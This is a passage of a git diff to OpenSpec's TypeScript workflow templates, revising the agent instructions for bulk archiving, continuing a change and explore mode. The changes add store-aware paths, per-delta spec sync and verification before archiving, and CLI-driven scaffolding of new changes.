+\`\`\`markdown ## No Changes to Archive No active changes found. Create a new change to get started. @@ -241,10 +319,25 @@ No active changes found. Create a new change to get started. - Skip spec sync only when implementation is missing (warn user) - Show clear per-change status before confirming - Use single confirmation for entire batch +- Never archive after the user cancels the confirmation — a cancelled batch archives nothing - Track and report all outcomes (success/skip/fail) - Preserve .openspec.yaml when moving to archive -- Archive directory target uses current date: YYYY-MM-DD-<name> -- If archive target exists, fail that change but continue with others`, +- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date) +- If archive target exists, fail that change but continue with others +- If sync is requested, run the \`openspec-sync-specs\` workflow inline (agent-driven) for each change with included delta specs +- Carry the per-delta \`includedDeltas\` and \`excludedDeltas\` decisions into execution; sync and verify only included deltas +- Report every excluded delta as \`sync skipped\` without treating the archive itself as skipped +- Never archive a change while a spec sync is still in flight — run the sync inline and verify main specs at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` before moving \`changeRoot\` +- Fetch archive inputs once per selected root before spec inspection or moves +- Fetch all required specs-rule snapshots before the batch's first main-spec write or move +- A failed archive-inputs lookup never blocks the batch; it proceeds with no context or guidance +- A failed specs instruction lookup stops the whole batch atomically +- Changes without concrete \`artifactPaths.specs.existingOutputPaths\` continue without spec sync +- Apply relevant runtime context across the batch and report conflicts +- Operation guidance remains advisory; consider every entry and explain rejected advice +- Keep runtime inputs, conflict analysis, CLI-derived values, and artifact rules separate +- Artifact rules constrain only written specs +- Never copy runtime input or artifact-rule text verbatim into output files`, license: 'MIT', compatibility: 'Requires openspec CLI.', metadata: { author: 'openspec', version: '1.0' }, @@ -261,6 +354,10 @@ export function getOpsxBulkArchiveCommandTemplate(): CommandTemplate { This skill allows you to batch-archive changes, handling spec conflicts intelligently by checking the codebase to determine what's actually implemented. +${STORE_SELECTION_GUIDANCE} + +\`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve the full path from each delta spec when resolving its main spec. + **Input**: None required (prompts for selection) **Steps** @@ -273,39 +370,69 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig 2. **Prompt for change selection** - Use **AskUserQuestion tool** with multi-select to let user choose changes: + Ask the user to choose changes (multi-select): - Show each change with its schema - Include an option for "All changes" - Allow any number of selections (1+ works, 2+ is the typical use case) **IMPORTANT**: Do NOT auto-select. Always let the user choose. + **Load current archive inputs once for the selected root before batch validation:** + + Choose one selected change from this root and run + \`openspec instructions archive --change "<selected-change>" --json\` with the + same selected-root flags. This lookup is advisory and optional: it only supplies + extra prompt inputs, so it must never block the batch. If it fails or returns + invalid JSON — for example on an older CLI that does not support this command + yet — continue the batch with no context and no operation guidance. Do not + report an error and do not stop. + + A valid response may omit \`context\` and \`operationGuidance\`. Treat + \`context\` as a required prompt-level input across the batch: read and consider + it, and apply relevant project facts, conventions, and constraints. Treat + \`operationGuidance\` as optional additive advice: read and consider every + entry, and follow entries that are applicable and compatible with the built-in + batch workflow. + + Keep both fields separate from conflict analysis, explicit user choices, + resolved paths, CLI checks, and command contracts. If context conflicts with one + of those controlling inputs, report the conflict and preserve the controlling + value. If guidance is inapplicable or conflicts with a controlling input, do not + follow it and explain why. Do not infer skipped prompts, replacement paths, or + flags from either field, and do not copy their text verbatim into specs, changes, + or summaries. These are prompt-level behavior contracts, not enforceable checks. + 3. **Batch validation - gather status for all selected changes** For each selected change, collect: a. **Artifact status** - Run \`openspec status --change "<name>" --json\` - - Parse \`schemaName\` and \`artifacts\` list + - Parse \`schemaName\`, \`artifacts\`, \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\` - Note which artifacts are \`done\` vs other states - b. **Task completion** - Read \`openspec/changes/<name>/tasks.md\` + b. **Task completion** - Read \`artifactPaths.tasks.existingOutputPaths\` from status JSON - Count \`- [ ]\` (incomplete) vs \`- [x]\` (complete) - If no tasks file exists, note as "No tasks" - c. **Delta specs** - Check \`openspec/changes/<name>/specs/\` directory + c. **Delta specs** - Check \`artifactPaths.specs.existingOutputPaths\` from status JSON - List which capability specs exist - For each, extract requirement names (lines matching \`### Requirement: <name>\`) + - Treat this list as the only delta-spec source. If the \`specs\` entry is + missing or the list is empty, perform no spec sync or specs-instruction + lookup for that change; do not infer deltas from unrelated artifacts. + - Evaluate this independently for every change, including mixed-schema + batches where some schemas have no \`specs\` artifact. 4. **Detect spec conflicts** - Build a map of \`capability -> [changes that touch it]\`: + Build a map keyed by \`<capability-path>\`, the exact path relative to \`specs/\`: - \`\`\` - auth -> [change-a, change-b] <- CONFLICT (2+ changes) - api -> [change-c] <- OK (only 1 change) + \`\`\`text + identity/user-auth -> [change-a, change-b] <- CONFLICT (2+ changes) + billing/user-auth -> [change-c] <- OK (different full path) \`\`\` - A conflict exists when 2+ selected changes have delta specs for the same capability. + A conflict exists when 2+ selected changes have delta specs for the exact same \`<capability-path>\`. 5. **Resolve conflicts agentically** @@ -323,38 +450,39 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig - If neither implemented -> skip spec sync, warn user d. **Record resolution** for each conflict: - - Which change's specs to apply - - In what order (if both) + - An inclusion or exclusion decision for every delta spec, keyed by change and \`<capability-path>\` + - Which included delta specs to apply and in what order + - Which delta specs to exclude from sync because their implementation is missing - Rationale (what was found in codebase) 6. **Show consolidated status table** Display a table summarizing all changes: - \`\`\` + \`\`\`markdown | Change | Artifacts | Tasks | Specs | Conflicts | Status | |---------------------|-----------|-------|---------|-----------|--------| | schema-management | Done | 5/5 | 2 delta | None | Ready | | project-config | Done | 3/3 | 1 delta | None | Ready | - | add-oauth | Done | 4/4 | 1 delta | auth (!) | Ready* | + | add-oauth | Done | 4/4 | 1 delta | identity/user-auth (!) | Ready* | | add-verify-skill | 1 left | 2/5 | None | None | Warn | \`\`\` For conflicts, show the resolution: - \`\`\` + \`\`\`text * Conflict resolution: - - auth spec: Will apply add-oauth then add-jwt (both implemented, chronological order) + - identity/user-auth spec: Will apply add-oauth then add-jwt (both implemented, chronological order) \`\`\` For incomplete changes, show warnings: - \`\`\` + \`\`\`text Warnings: - add-verify-skill: 1 incomplete artifact, 3 incomplete tasks \`\`\` 7. **Confirm batch operation** - Use **AskUserQuestion tool** with a single confirmation: + Ask the user a single confirmation question: - "Archive N changes?" with options based on status - Options might include: @@ -364,31 +492,73 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig If there are incomplete changes, make clear they'll be archived with warnings. + Route on the answer by intent, not by exact label — you wrote these labels, + so match what the user picked rather than the wording above: + - "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps. + - The archive-everything option — proceed with every selected change + - The ready-only option — proceed with only the changes the step 6 table marks \`Ready\` or \`Ready*\`, and record the rest as Skipped in step 8d. If a \`Ready*\` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived. + - Anything else — ask again rather than archiving + + Before step 8 writes the first main spec or moves any change, fetch every + required specs-rule snapshot for the confirmed batch. For each change that will + sync concrete \`artifactPaths.specs.existingOutputPaths\`, run + \`openspec instructions specs --change "<name>" --json\` exactly once with the + same selected-root flags. Obtain all snapshots before the first write or move. + If any lookup exits non-zero or returns invalid artifact-instruction JSON, + identify the affected change, report the error, and stop the whole batch before + any main-spec write or change move. Do not treat lookup failure as omitted + rules. A valid response without \`rules\` is the no-rules case. + 8. **Execute archive for each confirmed change** + Before processing, carry the recorded decisions from step 5 (after any step 7 re-derivation) into two per-delta sets: + - \`includedDeltas\`: all non-conflicting delta specs from confirmed changes plus conflict deltas selected for sync + - \`excludedDeltas\`: conflict deltas from confirmed changes excluded because their implementation is missing + - A single change can have both included and excluded delta specs. Keep the decision per delta; do not collapse it into a per-change sync flag. + Process changes in the determined order (respecting conflict resolution): - a. **Sync specs** if delta specs exist: - - Use the openspec-sync-specs approach (agent-driven intelligent merge) - - For conflicts, apply in resolved order - - Track if sync was done + a. **Sync included delta specs**: + - Run the \`/opsx:sync\` workflow inline (agent-driven intelligent merge) only for changes with entries in \`includedDeltas\`, passing only the included delta paths and explicitly instructing it to ignore that change's \`excludedDeltas\`. Wait for it to finish. + - For conflicts, apply in resolved order. + - Pass that change's fetched specs-rule snapshot into inline sync; inline + sync must reuse it without fetching instructions again + - Apply artifact rules only to main specs produced by that change. They do + not change conflict resolution, archive behavior, or CLI contracts, and + their text is not copied into an output file + - Do not delegate to a background task — step 8c would move \`changeRoot\` out from under a sync that is still reading it. + - If a change has no included delta specs, do not run the sync workflow for it. + + b. **Verify included delta specs before moving changeRoot**: + - Re-run the comparison only for delta specs in \`includedDeltas\` against main spec at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` (use the store-aware \`planningHome.root\` from step 3 status JSON, not a hardcoded repo path). + - Verify that main specs are updated: + - ADDED requirements present + - MODIFIED requirements carrying scenario and description changes named in the delta, with their other scenarios intact + - REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving \`## Requirements\` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match + - RENAMED requirements present under the new name and absent under the old one + - Do not verify delta specs in \`excludedDeltas\`; they are intentionally left unsynced. + - If sync failed or any capability does not match verification, report what differs and fail/skip moving that change's \`changeRoot\` — do not archive that change. \`changeRoot\` remains intact. + + c. **Perform the archive**: + + Target name: use the change name as-is when it already starts with a \`YYYY-MM-DD-\` prefix; otherwise prepend the current date as \`YYYY-MM-DD-<name>\` (same rule as \`openspec archive\`). - b. **Perform the archive**: \`\`\`bash - mkdir -p openspec/changes/archive - mv openspec/changes/<name> openspec/changes/archive/YYYY-MM-DD-<name> + mkdir -p "<planningHome.changesDir>/archive" + mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>" \`\`\` - c. **Track outcome** for each change: + d. **Track outcome** for each change: - Success: archived successfully - - Failed: error during archive (record error) + - Failed: error during archive or spec verification (record error) - Skipped: user chose not to archive (if applicable) + - Sync skipped: for every delta in \`excludedDeltas\`, report \`sync skipped\` with the change, \`<capability-path>\`, and recorded reason. This is distinct from skipping the archive. 9. **Display summary** Show final results: - \`\`\` + \`\`\`markdown ## Bulk Archive Complete Archived 3 changes: @@ -401,11 +571,12 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig Spec sync summary: - 4 delta specs synced to main specs - - 1 conflict resolved (auth: applied both in chronological order) + - 1 delta spec sync skipped (add-jwt, identity/user-auth: implementation not found) + - 1 conflict resolved (identity/user-auth: synced add-oauth, skipped add-jwt) \`\`\` If any failures: - \`\`\` + \`\`\`text Failed 1 change: - some-change: Archive directory already exists \`\`\` @@ -413,8 +584,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig **Conflict Resolution Examples** Example 1: Only one implemented -\`\`\` -Conflict: specs/auth/spec.md touched by [add-oauth, add-jwt] +\`\`\`text +Conflict: <planningHome.root>/openspec/specs/auth/spec.md touched by [add-oauth, add-jwt] Checking add-oauth: - Delta adds "OAuth Provider Integration" requirement @@ -428,8 +599,8 @@ Resolution: Only add-oauth is implemented. Will sync add-oauth specs only. \`\`\` Example 2: Both implemented -\`\`\` -Conflict: specs/api/spec.md touched by [add-rest-api, add-graphql] +\`\`\`text +Conflict: <planningHome.root>/openspec/specs/api/spec.md touched by [add-rest-api, add-graphql] Checking add-rest-api (created 2026-01-10): - Delta adds "REST Endpoints" requirement @@ -445,12 +616,12 @@ then add-graphql specs (chronological order, newer takes precedence). **Output On Success** -\`\`\` +\`\`\`markdown ## Bulk Archive Complete Archived N changes: -- <change-1> -> archive/YYYY-MM-DD-<change-1>/ -- <change-2> -> archive/YYYY-MM-DD-<change-2>/ +- <change-1> -> archive/<target-name-1>/ +- <change-2> -> archive/<target-name-2>/ Spec sync summary: - N delta specs synced to main specs @@ -459,11 +630,11 @@ Spec sync summary: **Output On Partial Success** -\`\`\` +\`\`\`markdown ## Bulk Archive Complete (partial) Archived N changes: -- <change-1> -> archive/YYYY-MM-DD-<change-1>/ +- <change-1> -> archive/<target-name-1>/ Skipped M changes: - <change-2> (user chose not to archive incomplete) @@ -474,7 +645,7 @@ Failed K changes: **Output When No Changes** -\`\`\` +\`\`\`markdown ## No Changes to Archive No active changes found. Create a new change to get started. @@ -488,9 +659,24 @@ No active changes found. Create a new change to get started. - Skip spec sync only when implementation is missing (warn user) - Show clear per-change status before confirming - Use single confirmation for entire batch +- Never archive after the user cancels the confirmation — a cancelled batch archives nothing - Track and report all outcomes (success/skip/fail) - Preserve .openspec.yaml when moving to archive -- Archive directory target uses current date: YYYY-MM-DD-<name> -- If archive target exists, fail that change but continue with others` +- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a \`YYYY-MM-DD-\` prefix is used as-is (never stack a second date) +- If archive target exists, fail that change but continue with others +- If sync is requested, run the \`/opsx:sync\` workflow inline (agent-driven) for each change with included delta specs +- Carry the per-delta \`includedDeltas\` and \`excludedDeltas\` decisions into execution; sync and verify only included deltas +- Report every excluded delta as \`sync skipped\` without treating the archive itself as skipped +- Never archive a change while a spec sync is still in flight — run the sync inline and verify main specs at \`<planningHome.root>/openspec/specs/<capability-path>/spec.md\` before moving \`changeRoot\` +- Fetch archive inputs once per selected root before spec inspection or moves +- Fetch all required specs-rule snapshots before the batch's first main-spec write or move +- A failed archive-inputs lookup never blocks the batch; it proceeds with no context or guidance +- A failed specs instruction lookup stops the whole batch atomically +- Changes without concrete \`artifactPaths.specs.existingOutputPaths\` continue without spec sync +- Apply relevant runtime context across the batch and report conflicts +- Operation guidance remains advisory; consider every entry and explain rejected advice +- Keep runtime inputs, conflict analysis, CLI-derived values, and artifact rules separate +- Artifact rules constrain only written specs +- Never copy runtime input or artifact-rule text verbatim into output files` }; } diff --git a/src/core/templates/workflows/continue-change.ts b/src/core/templates/workflows/continue-change.ts index 4b2176728c..14b3109e43 100644 --- a/src/core/templates/workflows/continue-change.ts +++ b/src/core/templates/workflows/continue-change.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getContinueChangeSkillTemplate(): SkillTemplate { return { @@ -12,15 +13,20 @@ export function getContinueChangeSkillTemplate(): SkillTemplate { description: 'Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.', instructions: `Continue working on a change by creating the next artifact. +${STORE_SELECTION_GUIDANCE} + **Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes sorted by most recently modified. Then use the **AskUserQuestion tool** to let the user select which change to work on. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes sorted by most recently modified, and ask the user to select one - Present the top 3-4 most recently modified changes as options, showing: + When prompting, present the top 3-4 most recently modified changes as options, showing: - Change name - Schema (from \`schema\` field if present, otherwise "spec-driven") - Status (e.g., "0/5 tasks", "complete", "no tasks") @@ -28,7 +34,7 @@ export function getContinueChangeSkillTemplate(): SkillTemplate { Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to continue. - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:continue <other>\`). 2. **Check current status** \`\`\`bash @@ -36,17 +42,18 @@ export function getContinueChangeSkillTemplate(): SkillTemplate { \`\`\` Parse the JSON to understand current state. The response includes: - \`schemaName\`: The workflow schema being used (e.g., "spec-driven") - - \`artifacts\`: Array of artifacts with their status ("done", "ready", "blocked") - - \`isComplete\`: Boolean indicating if all artifacts are complete + - \`artifacts\`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - \`isPlanningComplete\`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as \`isComplete\`. + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. 3. **Act based on status**: --- - **If all artifacts are complete (\`isComplete: true\`)**: + **If all planning artifacts are complete (\`isPlanningComplete: true\`, or legacy \`isComplete: true\`)**: - Congratulate the user - Show final status including the schema used - - Suggest: "All artifacts created! You can now implement this change or archive it." + - Suggest: "Planning is complete! You can now implement this change. Once implementation and any tracked work are complete, archive it." - STOP --- @@ -62,13 +69,15 @@ export function getContinueChangeSkillTemplate(): SkillTemplate { - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance - - \`outputPath\`: Where to write the artifact - - \`dependencies\`: Completed artifacts to read for context + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact + - \`dependencies\`: Completed artifacts to read for context (entries with \`skipped: true\` have no files - do not look for them) + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - pick another artifact - **Create the artifact file**: - - Read any completed dependency files for context - - Use \`template\` as the structure - fill in its sections + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise use \`template\` as the structure - fill in its sections - Apply \`context\` and \`rules\` as constraints when writing - but do NOT copy them into the file - - Write to the output path specified in instructions + - Write to the \`resolvedOutputPath\` specified in instructions. If it is a glob pattern, choose the concrete file path using the schema instruction and the change's context - Show what was created and what's now unlocked - STOP after creating ONE artifact @@ -94,22 +103,13 @@ After each invocation, show: **Artifact Creation Guidelines** -The artifact types and their purpose depend on the schema. Use the \`instruction\` field from the instructions output to understand what to create. - -Common artifact patterns: - -**spec-driven schema** (proposal → specs → design → tasks): -- **proposal.md**: Ask user about the change if not clear. Fill in Why, What Changes, Capabilities, Impact. - - The Capabilities section is critical - each capability listed will need a spec file. -- **specs/<capability>/spec.md**: Create one spec per capability listed in the proposal's Capabilities section (use the capability name, not the change name). -- **design.md**: Document technical decisions, architecture, and implementation approach. -- **tasks.md**: Break down implementation into checkboxed tasks. +The artifact types and their purpose depend on the schema. The \`instruction\` field from the instructions output is the authoritative guidance for each artifact - follow it even when the artifact has a familiar name (proposal.md, tasks.md, etc.), since custom schemas may define different content or a different process for the same file names. -For other schemas, follow the \`instruction\` field from the CLI output. +If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly. **Guardrails** - Create ONE artifact per invocation -- Always read dependency artifacts before creating a new one +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) - Never skip artifacts or create out of order - If context is unclear, ask the user before creating - Verify the artifact file exists after writing before marking progress @@ -131,15 +131,20 @@ export function getOpsxContinueCommandTemplate(): CommandTemplate { tags: ['workflow', 'artifacts', 'experimental'], content: `Continue working on a change by creating the next artifact. +${STORE_SELECTION_GUIDANCE} + **Input**: Optionally specify a change name after \`/opsx:continue\` (e.g., \`/opsx:continue add-auth\`). If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes. **Steps** -1. **If no change name provided, prompt for selection** +1. **Select the change** - Run \`openspec list --json\` to get available changes sorted by most recently modified. Then use the **AskUserQuestion tool** to let the user select which change to work on. + If a name is provided, use it. Otherwise: + - Infer from conversation context if the user mentioned a change + - Auto-select if only one active change exists + - If ambiguous, run \`openspec list --json\` to get available changes sorted by most recently modified, and ask the user to select one - Present the top 3-4 most recently modified changes as options, showing: + When prompting, present the top 3-4 most recently modified changes as options, showing: - Change name - Schema (from \`schema\` field if present, otherwise "spec-driven") - Status (e.g., "0/5 tasks", "complete", "no tasks") @@ -147,7 +152,7 @@ export function getOpsxContinueCommandTemplate(): CommandTemplate { Mark the most recently modified change as "(Recommended)" since it's likely what the user wants to continue. - **IMPORTANT**: Do NOT guess or auto-select a change. Always let the user choose. + Always announce: "Using change: <name>" and how to override (e.g., \`/opsx:continue <other>\`). 2. **Check current status** \`\`\`bash @@ -155,17 +160,18 @@ export function getOpsxContinueCommandTemplate(): CommandTemplate { \`\`\` Parse the JSON to understand current state. The response includes: - \`schemaName\`: The workflow schema being used (e.g., "spec-driven") - - \`artifacts\`: Array of artifacts with their status ("done", "ready", "blocked") - - \`isComplete\`: Boolean indicating if all artifacts are complete + - \`artifacts\`: Array of artifacts with their status ("done", "skipped", "ready", "blocked") + - \`isPlanningComplete\`: Boolean indicating if all planning artifacts are complete. Older CLI versions expose the same value as \`isComplete\`. + - \`planningHome\`, \`changeRoot\`, \`artifactPaths\`, and \`actionContext\`: path and scope context. Use these instead of assuming repo-local paths. 3. **Act based on status**: --- - **If all artifacts are complete (\`isComplete: true\`)**: + **If all planning artifacts are complete (\`isPlanningComplete: true\`, or legacy \`isComplete: true\`)**: - Congratulate the user - Show final status including the schema used - - Suggest: "All artifacts created! You can now implement this change with \`/opsx:apply\` or archive it with \`/opsx:archive\`." + - Suggest: "Planning is complete! You can now implement this change with \`/opsx:apply\`. Once implementation and any tracked work are complete, archive it with \`/opsx:archive\`." - STOP --- @@ -181,13 +187,15 @@ export function getOpsxContinueCommandTemplate(): CommandTemplate { - \`rules\`: Artifact-specific rules (constraints for you - do NOT include in output) - \`template\`: The structure to use for your output file - \`instruction\`: Schema-specific guidance - - \`outputPath\`: Where to write the artifact - - \`dependencies\`: Completed artifacts to read for context + - \`resolvedOutputPath\`: Resolved path or pattern to write the artifact + - \`dependencies\`: Completed artifacts to read for context (entries with \`skipped: true\` have no files - do not look for them) + - \`skipped\`/\`warning\`: present when the change declares skip_specs and this artifact must NOT be created - pick another artifact - **Create the artifact file**: - - Read any completed dependency files for context - - Use \`template\` as the structure - fill in its sections + - Read any completed dependency files for context - always re-read them from disk, even if you saw them earlier in the conversation (the user may have edited them) + - If the \`instruction\` field delegates creation to a specific skill or command, invoke it to produce the artifact instead of writing the file yourself, then verify the artifact file exists at \`resolvedOutputPath\` + - Otherwise use \`template\` as the structure - fill in its sections - Apply \`context\` and \`rules\` as constraints when writing - but do NOT copy them into the file - - Write to the output path specified in instructions + - Write to the \`resolvedOutputPath\` specified in instructions. If it is a glob pattern, choose the concrete file path using the schema instruction and the change's context - Show what was created and what's now unlocked - STOP after creating ONE artifact @@ -213,22 +221,13 @@ After each invocation, show: **Artifact Creation Guidelines** -The artifact types and their purpose depend on the schema. Use the \`instruction\` field from the instructions output to understand what to create. - -Common artifact patterns: - -**spec-driven schema** (proposal → specs → design → tasks): -- **proposal.md**: Ask user about the change if not clear. Fill in Why, What Changes, Capabilities, Impact. - - The Capabilities section is critical - each capability listed will need a spec file. -- **specs/<capability>/spec.md**: Create one spec per capability listed in the proposal's Capabilities section (use the capability name, not the change name). -- **design.md**: Document technical decisions, architecture, and implementation approach. -- **tasks.md**: Break down implementation into checkboxed tasks. +The artifact types and their purpose depend on the schema. The \`instruction\` field from the instructions output is the authoritative guidance for each artifact - follow it even when the artifact has a familiar name (proposal.md, tasks.md, etc.), since custom schemas may define different content or a different process for the same file names. -For other schemas, follow the \`instruction\` field from the CLI output. +If the \`instruction\` field directs you to use a specific skill or command to create the artifact, invoke it instead of writing the artifact directly. **Guardrails** - Create ONE artifact per invocation -- Always read dependency artifacts before creating a new one +- Always read dependency artifacts before creating a new one - re-read from disk, not from conversation memory (files may have changed since you last saw them) - Never skip artifacts or create out of order - If context is unclear, ask the user before creating - Verify the artifact file exists after writing before marking progress diff --git a/src/core/templates/workflows/explore.ts b/src/core/templates/workflows/explore.ts index 76db8ff8fe..211de65646 100644 --- a/src/core/templates/workflows/explore.ts +++ b/src/core/templates/workflows/explore.ts @@ -5,6 +5,7 @@ * templates file into workflow-focused modules. */ import type { SkillTemplate, CommandTemplate } from '../types.js'; +import { STORE_SELECTION_GUIDANCE } from './store-selection.js'; export function getExploreSkillTemplate(): SkillTemplate { return { @@ -12,10 +13,12 @@ export function getExploreSkillTemplate(): SkillTemplate { description: 'Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.', instructions: `Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes. -**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, and investigate the codebase, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create OpenSpec artifacts (proposals, designs, specs) if the user asks—that's capturing thinking, not implementing. +**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, and investigate the codebase, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create OpenSpec artifacts (proposals, designs, specs) if the user asks—that's capturing thinking, not implementing. For a new change, scaffold it first as described below. **This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore. +${STORE_SELECTION_GUIDANCE} + --- ## The Stance @@ -92,6 +95,12 @@ This tells you: - Their names, schemas, and status - What the user might be working on +Then read the project's own context from the resolved root - \`<root.path>/openspec/config.yaml\` (or \`config.yml\`). Use the \`root.path\` returned above, and skip this if neither file exists: +- \`context\`: project background - tech stack, conventions, constraints +- \`rules\`: keyed by artifact id - the entries for an artifact apply only when you write that artifact + +Ground your thinking in these. They are constraints for you to follow, not content to reproduce: do NOT copy them into the conversation or into any artifact you create. + ### When no change exists Think freely. When insights crystallize, you might offer: @@ -99,15 +108,23 @@ Think freely. When insights crystallize, you might offer: - "This feels solid enough to start a change. Want me to create a proposal?" - Or keep exploring - no pressure to formalize +If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture: + +1. Run \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) before creating any artifacts. Never create a new change directory under \`openspec/changes/\` by hand; the CLI scaffold creates required metadata such as \`.openspec.yaml\`. Keep the selected \`--store <id>\` on every applicable follow-up \`status\` and \`instructions\` command. +2. Run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is \`ready\`, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own \`instruction\` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run \`openspec instructions "<prerequisite-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) for that prerequisite whether it is \`ready\` or \`blocked\`. If its own \`instruction\` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves. +3. Follow the returned \`template\` and \`instruction\` fields. Read completed dependency files listed in \`dependencies\`, and apply \`context\` and \`rules\` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to \`resolvedOutputPath\`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists. +4. After creating each artifact, re-run \`openspec status --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) and continue until every requested artifact is \`done\`, \`skipped\`, or was deliberately skipped because its own \`instruction\` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still \`blocked\` only because you deliberately skipped a conditional prerequisite, run \`openspec instructions "<artifact-id>" --change "<name>" --json\` (append the confirmed \`--store "<id>"\` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture. + +Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. + ### When a change exists If the user mentions a change or you detect one is relevant: -1. **Read existing artifacts for context** - - \`openspec/changes/<name>/proposal.md\` - - \`openspec/changes/<name>/design.md\` - - \`openspec/changes/<name>/tasks.md\` - - etc. +1. **Resolve and read existing artifacts for context** + - Run \`openspec status --change "<name>" --json\`. + - Use \`changeRoot\`, \`artifactPaths\`, and \`actionContext\` from the status JSON. + - Read existing files from \`artifactPaths.<artifact>.existingOutputPaths\`. 2. **Reference them naturally in conversation** - "Your design mentions using Redis, but we just realized SQLite fits better..." @@ -115,14 +132,16 @@ If the user mentions a change or you detect one is relevant: 3. **Offer to capture when decisions are made** - | Insight Type | Where to Capture | - |----------------------------|--------------------------------| - | New requirement discovered | \`specs/<capability>/spec.md\` | - | Requirement changed | \`specs/<capability>/spec.md\` | - | Design decision made | \`design.md\` | - | Scope changed | \`proposal.md\` | - | New work identified | \`tasks.md\` | - | Assumption invalidated | Relevant artifact | + \`<capability-path>\` is the spec directory relative to \`specs/\` (for example, \`user-auth\` or \`identity/user-auth\`). Preserve an existing capability's full path and follow the project's established organization for new capabilities. + + | Insight Type | Where to Capture | + |----------------------------|-------------------------------------| + | New requirement discovered | \`specs/<capability-path>/spec.md\` | + | Requirement changed | \`specs/<capability-path>/spec.md\` | + | Design decision made | \`design.md\` | + | Scope changed | \`proposal.md\` | + | New work identified | \`tasks.md\` | + | Assumption invalidated | Relevant artifact | Example offers: - "That's a design decision. Capture it in design.md?" @@ -284,6 +303,7 @@ But this summary is optional. Sometimes the thinking IS the value. - **Don't rush** - Discovery is thinking time, not task time - **Don't force structure** - Let patterns emerge naturally - **Don't auto-capture** - Offer to save insights, don't just do it +- **Don't manually scaffold changes** - Never create a new change directory under \`openspec/changes/\` by hand. Always use \`openspec new change "<name>"\` (with \`--store <id>\` when applicable) so required metadata such as \`.openspec.yaml\` is created before writing artifacts. - **Do visualize** - A good diagram is worth many paragraphs - **Do explore the codebase** - Ground discussions in reality - **Do question assumptions** - Including the user's and your own`, @@ -301,10 +321,12 